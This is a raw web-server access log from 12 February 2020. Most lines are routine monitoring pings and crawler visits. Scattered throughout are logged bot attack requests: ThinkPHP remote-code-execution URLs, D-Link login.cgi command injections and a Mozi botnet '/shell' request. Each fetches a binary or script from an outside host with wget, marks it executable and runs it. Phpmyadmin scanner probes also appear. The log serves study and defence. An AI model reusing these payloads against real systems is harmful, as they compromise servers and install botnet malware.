212.91.246.72 - - [12/Feb/2020:12:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [12/Feb/2020:12:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:12:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.80.156.237 - - [12/Feb/2020:12:21:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.126.142 - - [12/Feb/2020:12:22:42 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [12/Feb/2020:12:22:43 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [12/Feb/2020:12:22:43 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
189.156.159.174 - - [12/Feb/2020:12:22:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
189.156.159.174 - - [12/Feb/2020:12:22:51 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
189.156.159.174 - - [12/Feb/2020:12:22:51 +0100] "POST /Admin52f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [12/Feb/2020:12:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.110.48 - - [12/Feb/2020:12:24:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:12:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [12/Feb/2020:12:27:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:12:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.113.62.94 - - [12/Feb/2020:12:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:12:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.196.241 - - [12/Feb/2020:12:31:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.158.166 - - [12/Feb/2020:12:31:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.110.48 - - [12/Feb/2020:12:32:10 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:12:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.110.48 - - [12/Feb/2020:12:32:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.77.110.48 - - [12/Feb/2020:12:32:55 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:12:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.226.136.36 - - [12/Feb/2020:12:33:58 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
35.226.136.36 - - [12/Feb/2020:12:33:58 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
191.97.46.157 - - [12/Feb/2020:12:34:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:12:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [12/Feb/2020:12:34:42 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.119.171.190 - - [12/Feb/2020:12:34:42 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.119.171.190 - - [12/Feb/2020:12:34:43 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.91.246.72 - - [12/Feb/2020:12:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.134.177.122 - - [12/Feb/2020:12:36:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:12:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.110.48 - - [12/Feb/2020:12:38:40 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:12:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.110.48 - - [12/Feb/2020:12:38:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.77.110.48 - - [12/Feb/2020:12:39:08 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.77.110.48 - - [12/Feb/2020:12:39:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:12:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.110.48 - - [12/Feb/2020:12:39:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.77.110.48 - - [12/Feb/2020:12:40:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:12:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [12/Feb/2020:12:41:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:12:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.34.234.36 - - [12/Feb/2020:12:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:12:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.98.193 - - [12/Feb/2020:12:47:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.78.178 - - [12/Feb/2020:12:48:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.192.63 - - [12/Feb/2020:12:48:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
211.214.19.125 - - [12/Feb/2020:12:49:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.192.224 - - [12/Feb/2020:12:50:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.60.123.74 - - [12/Feb/2020:12:53:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:12:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.78.13.2 - - [12/Feb/2020:12:55:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:12:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
17.58.103.230 - - [12/Feb/2020:12:56:13 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
17.58.96.45 - - [12/Feb/2020:12:56:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
212.91.246.72 - - [12/Feb/2020:12:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.47.206.204 - - [12/Feb/2020:12:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:12:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:12:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.44.176.6 - - [12/Feb/2020:12:59:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:12:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.8.189.150 - - [12/Feb/2020:13:00:11 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [12/Feb/2020:13:00:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
212.91.246.72 - - [12/Feb/2020:13:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.36.53 - - [12/Feb/2020:13:01:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.113.197.251 - - [12/Feb/2020:13:01:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:13:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [12/Feb/2020:13:01:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:13:01:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:13:02:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:13:02:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:13:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.28 - - [12/Feb/2020:13:04:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.153.251 - - [12/Feb/2020:13:04:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [12/Feb/2020:13:04:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:13:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.227.118.168 - - [12/Feb/2020:13:05:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.4.86.23 - - [12/Feb/2020:13:08:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.16 - - [12/Feb/2020:13:10:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [12/Feb/2020:13:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:13:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [12/Feb/2020:13:15:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.76.58 - - [12/Feb/2020:13:18:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.7.103 - - [12/Feb/2020:13:20:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.44.22.96 - - [12/Feb/2020:13:20:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://117.44.22.96:45055/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [12/Feb/2020:13:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.164.52 - - [12/Feb/2020:13:22:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.100.11.37 - - [12/Feb/2020:13:23:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:13:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.235.75 - - [12/Feb/2020:13:25:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
